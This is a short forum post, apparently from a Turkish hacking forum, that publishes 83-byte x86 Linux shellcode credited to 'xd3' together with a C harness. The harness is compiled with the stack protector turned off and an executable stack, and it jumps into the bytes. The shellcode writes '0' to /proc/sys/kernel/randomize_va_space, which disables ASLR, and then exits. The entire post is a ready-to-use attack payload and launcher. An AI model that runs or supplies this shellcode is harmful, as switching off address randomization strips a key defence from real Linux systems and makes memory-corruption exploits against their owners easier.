#Gecmise Donus \w xd3.
<-- Testing C source & Inject byte-code to process -->
Kod:
[COLOR=White]/*
* ::Disable ASLR (S_IRWXU) & exit(0) Shellcode
* __author__: xd3
* __format__: ELF 32 Bit
* __platform__: x86/Linux
* __size__: 83 Bytes
*
*/
/* Usage:
*
* # gcc -fno-stack-protector -z execstack xd3.c -o xd3
* # ./xd3
* [~] Byte-Code Len: 83
*/
#include <stdio.h>
#include <string.h>
const unsigned char xd3[] = \
"\x6a\x08\x58\x99\x52\x68\x70\x61"
"\x63\x65\x68\x76\x61\x5f\x73\x68"
"\x69\x7a\x65\x5f\x68\x6e\x64\x6f"
"\x6d\x68\x2f\x2f\x72\x61\x68\x72"
"\x6e\x65\x6c\x68\x73\x2f\x6b\x65"
"\x68\x63\x2f\x73\x79\x68\x2f\x70"
"\x72\x6f\x89\xe3\x66\xb9\xbc\x02"
"\xcd\x80\x89\xc3\x52\x66\xba\x30"
"\x3a\x52\x89\xe1\x99\x66\x42\xb0"
"\x04\xcd\x80\xb0\x06\xcd\x80\x89"
"\xd0\xcd\x80";
int main(vo id){
printf("[~] Byte-Code Len: %d\n", strlen(xd3));
vo id (*sh3llcode)() = (vo id *)xd3;
sh3llcode();
}[/COLOR]
<-- Testing C source & Inject byte-code to process -->
Son düzenleme: